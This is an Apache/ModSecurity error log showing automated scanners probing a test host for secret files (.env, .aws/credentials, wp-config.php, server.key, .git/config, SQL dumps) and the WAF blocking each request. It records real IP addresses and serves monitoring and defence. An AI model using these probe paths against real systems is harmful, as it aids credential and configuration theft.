[Fri Feb 28 18:48:01.510013 2025] [:error] [pid 1481124] [client 109.202.99.46:52259] [client 109.202.99.46] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;Z8H20bRrIRJI0VNOvVeS_gAAAAI&quot;]
[Fri Feb 28 18:48:01.528287 2025] [:error] [pid 1476127] [client 109.202.99.46:2311] [client 109.202.99.46] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;Z8H20WqlysHRV2En9MqSNwAAABM&quot;]
[Fri Feb 28 18:48:01.528642 2025] [:error] [pid 1476127] [client 109.202.99.46:2311] [client 109.202.99.46] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;Z8H20WqlysHRV2En9MqSNwAAABM&quot;]
[Fri Feb 28 18:48:01.528970 2025] [:error] [pid 1476127] [client 109.202.99.46:2311] [client 109.202.99.46] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;Z8H20WqlysHRV2En9MqSNwAAABM&quot;]
[Fri Feb 28 18:48:01.600981 2025] [:error] [pid 1476129] [client 109.202.99.46:43473] [client 109.202.99.46] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;Z8H20YCdZPxDnpkaQ2iWJQAAABU&quot;]
[Fri Feb 28 18:48:01.601194 2025] [:error] [pid 1476129] [client 109.202.99.46:43473] [client 109.202.99.46] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;Z8H20YCdZPxDnpkaQ2iWJQAAABU&quot;]
[Fri Feb 28 18:48:01.601358 2025] [:error] [pid 1476129] [client 109.202.99.46:43473] [client 109.202.99.46] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;Z8H20YCdZPxDnpkaQ2iWJQAAABU&quot;]
[Fri Feb 28 18:48:01.603688 2025] [:error] [pid 1479161] [client 109.202.99.46:59937] [client 109.202.99.46] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;Z8H20ZJjYMm3B8zm0f7eQwAAAAA&quot;]
[Fri Feb 28 18:48:01.603942 2025] [:error] [pid 1479161] [client 109.202.99.46:59937] [client 109.202.99.46] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;Z8H20ZJjYMm3B8zm0f7eQwAAAAA&quot;]
[Fri Feb 28 18:48:01.604098 2025] [:error] [pid 1479161] [client 109.202.99.46:59937] [client 109.202.99.46] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;Z8H20ZJjYMm3B8zm0f7eQwAAAAA&quot;]
[Fri Feb 28 18:48:01.665810 2025] [authz_core:error] [pid 1476120] [client 109.202.99.46:59625] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Fri Feb 28 18:48:01.665875 2025] [:error] [pid 1480593] [client 109.202.99.46:43539] [client 109.202.99.46] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Z8H20XNCEJtn7JWGH5sW4gAAAAE&quot;]
[Fri Feb 28 18:48:01.672785 2025] [:error] [pid 1480593] [client 109.202.99.46:43539] [client 109.202.99.46] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Z8H20XNCEJtn7JWGH5sW4gAAAAE&quot;]
[Fri Feb 28 18:48:01.673289 2025] [:error] [pid 1480593] [client 109.202.99.46:43539] [client 109.202.99.46] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Z8H20XNCEJtn7JWGH5sW4gAAAAE&quot;]
[Fri Feb 28 18:48:01.684143 2025] [:error] [pid 1476126] [client 109.202.99.46:39745] [client 109.202.99.46] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;Z8H20Z4u_DKDUGSzN9puMQAAABI&quot;]
[Fri Feb 28 18:48:01.684516 2025] [:error] [pid 1476126] [client 109.202.99.46:39745] [client 109.202.99.46] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;Z8H20Z4u_DKDUGSzN9puMQAAABI&quot;]
[Fri Feb 28 18:48:01.684736 2025] [:error] [pid 1476126] [client 109.202.99.46:39745] [client 109.202.99.46] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;Z8H20Z4u_DKDUGSzN9puMQAAABI&quot;]
[Fri Feb 28 18:48:01.701288 2025] [:error] [pid 1481698] [client 109.202.99.46:27327] [client 109.202.99.46] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;Z8H20RkxPVxTdJ2bfUGE3wAAAAM&quot;]
[Fri Feb 28 18:48:01.701720 2025] [:error] [pid 1481698] [client 109.202.99.46:27327] [client 109.202.99.46] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;Z8H20RkxPVxTdJ2bfUGE3wAAAAM&quot;]
[Fri Feb 28 18:48:01.702190 2025] [:error] [pid 1481698] [client 109.202.99.46:27327] [client 109.202.99.46] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;Z8H20RkxPVxTdJ2bfUGE3wAAAAM&quot;]
[Fri Feb 28 18:48:01.702796 2025] [:error] [pid 1481698] [client 109.202.99.46:27327] [client 109.202.99.46] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;Z8H20RkxPVxTdJ2bfUGE3wAAAAM&quot;]
[Fri Feb 28 20:55:46.734931 2025] [:error] [pid 1481698] [client 213.209.143.233:57746] [client 213.209.143.233] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z8IUwhkxPVxTdJ2bfUGE5AAAAAM&quot;]
[Fri Feb 28 20:55:46.735733 2025] [:error] [pid 1481698] [client 213.209.143.233:57746] [client 213.209.143.233] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z8IUwhkxPVxTdJ2bfUGE5AAAAAM&quot;]
[Fri Feb 28 20:55:46.736196 2025] [:error] [pid 1481698] [client 213.209.143.233:57746] [client 213.209.143.233] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z8IUwhkxPVxTdJ2bfUGE5AAAAAM&quot;]
[Fri Feb 28 22:34:58.585105 2025] [:error] [pid 1476123] [client 196.119.99.1:56503] [client 196.119.99.1] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z8IsAhyipe9XPdczlyWE2wAAAA0&quot;]
[Fri Feb 28 22:34:58.585939 2025] [:error] [pid 1476123] [client 196.119.99.1:56503] [client 196.119.99.1] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z8IsAhyipe9XPdczlyWE2wAAAA0&quot;]
[Fri Feb 28 22:34:58.586457 2025] [:error] [pid 1476123] [client 196.119.99.1:56503] [client 196.119.99.1] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z8IsAhyipe9XPdczlyWE2wAAAA0&quot;]
[Sat Mar 01 02:04:21.291695 2025] [:error] [pid 1486890] [client 34.16.246.72:53718] [client 34.16.246.72] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z8JdFe7ClrLhPoDEqFxlPwAAAAE&quot;]
[Sat Mar 01 02:04:21.292156 2025] [:error] [pid 1486890] [client 34.16.246.72:53718] [client 34.16.246.72] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z8JdFe7ClrLhPoDEqFxlPwAAAAE&quot;]
[Sat Mar 01 02:04:21.292684 2025] [:error] [pid 1486890] [client 34.16.246.72:53718] [client 34.16.246.72] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z8JdFe7ClrLhPoDEqFxlPwAAAAE&quot;]
[Sat Mar 01 09:21:06.175149 2025] [:error] [pid 1493081] [client 45.148.10.86:48948] [client 45.148.10.86] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z8LDcutjTwdD1VS0fBKxKAAAAAw&quot;]
[Sat Mar 01 09:21:06.175793 2025] [:error] [pid 1493081] [client 45.148.10.86:48948] [client 45.148.10.86] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z8LDcutjTwdD1VS0fBKxKAAAAAw&quot;]
